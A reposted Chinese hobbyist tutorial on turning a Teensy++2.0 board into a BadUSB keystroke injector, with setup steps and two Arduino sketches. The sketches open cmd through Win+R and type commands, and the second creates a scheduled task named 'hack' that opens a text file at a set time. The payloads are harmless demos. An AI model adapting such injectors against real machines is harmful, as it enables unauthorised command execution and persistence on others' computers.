BadUSB —— Teensy++2.0


參考http://bbs.pediy.com/showthread.php?t=213719
前幾天發現了BadUSB這個好玩的東西,橡皮鴨和燒鵝都買不起就在某寶上買了個Teensy++2.0

1.下載Teensyduino。

https://www.pjrc.com/teensy/td_download.html

2.安裝Arduino。我這里安裝1.8.0

https://pan.baidu.com/s/1b4jPX8#list/path=%2F&parentPath=%2FArduino

3.安裝Teensyduino

注意紅色框起來的是支持的Arduino版本。

4.可以插入Teensy++2.0開始搞事了

送份代碼:
注意:
1.漢化 file->preferences 選擇language為簡體中文 2.工具里面要選

代碼:

void setup(){ //初始化
  Keyboard.begin();//開始鍵盤通信
  delay(1000);//延時1000毫秒,不要太短,因為每天電腦的運行速度都不一樣 
  Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵 這里我們最好這樣寫 不然大多數電腦在中文輸入的情況下就會出現問題
  Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵
  delay(500);
  Keyboard.press(KEY_LEFT_GUI);//按下徽標鍵 也就是win鍵  
  delay(500);  
  Keyboard.press('r');//按下r鍵  
  delay(500);  
  Keyboard.release(KEY_LEFT_GUI);//松掉win鍵  
  Keyboard.release('r');//松掉r鍵  
  //delay(500);  
  Keyboard.println("cmd");//輸入cmd進入DOS
  delay(500);
  Keyboard.press(KEY_RETURN);  //按下回車鍵
  Keyboard.release(KEY_RETURN); //釋放回車鍵
  delay(500);  
  Keyboard.println("Hello Teensy++2.0"); 
  Keyboard.press(KEY_RETURN);  //按下回車鍵  
  Keyboard.release(KEY_RETURN); //釋放回車鍵  
  delay(500);  
  Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵  
  Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵 我們再次關閉開啟的大寫鍵
  delay(500); 
  Keyboard.println("exit");
  Keyboard.press(KEY_RETURN);  //按下回車鍵  
  Keyboard.release(KEY_RETURN); //釋放回車鍵  
  Keyboard.end();//結束鍵盤通訊
} 

void loop()//循環,這里的代碼
{ 
//循環體 寫入你要循環的代碼
}

在附一段代碼,在21點打開個txt

void setup(){ //初始化
  Keyboard.begin();//開始鍵盤通信
  delay(1000);//延時1000毫秒,不要太短,因為每天電腦的運行速度都不一樣 
  Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵 這里我們最好這樣寫 不然大多數電腦在中文輸入的情況下就會出現問題
  Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵
  delay(500);
  Keyboard.press(KEY_LEFT_GUI);//按下徽標鍵 也就是win鍵  
  delay(500);  
  Keyboard.press('r');//按下r鍵  
  delay(500);  
  Keyboard.release(KEY_LEFT_GUI);//松掉win鍵  
  Keyboard.release('r');//松掉r鍵  
  //delay(500);  
  Keyboard.println("cmd");//輸入cmd進入DOS
  delay(500);
  Keyboard.press(KEY_RETURN);  //按下回車鍵
  Keyboard.release(KEY_RETURN); //釋放回車鍵
  delay(500);  
  Keyboard.println("D:");
  Keyboard.println("echo I'm back!>a.txt"); 
  Keyboard.println("schtasks /create /tn \"hack\" /tr \"d:a.txt\" /sc once /st 21:12"); 
  Keyboard.press(KEY_RETURN);  //按下回車鍵  
  Keyboard.release(KEY_RETURN); //釋放回車鍵  
  delay(500);  
  Keyboard.press(KEY_CAPS_LOCK); //按下大寫鍵  
  Keyboard.release(KEY_CAPS_LOCK); //釋放大寫鍵 我們再次關閉開啟的大寫鍵
  delay(500); 
  Keyboard.println("exit");
  Keyboard.press(KEY_RETURN);  //按下回車鍵  
  Keyboard.release(KEY_RETURN); //釋放回車鍵  
  Keyboard.end();//結束鍵盤通訊
} 

void loop()//循環,這里的代碼
{ 
//循環體 寫入你要循環的代碼
}

訪問我的螞蟻筆記博客


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM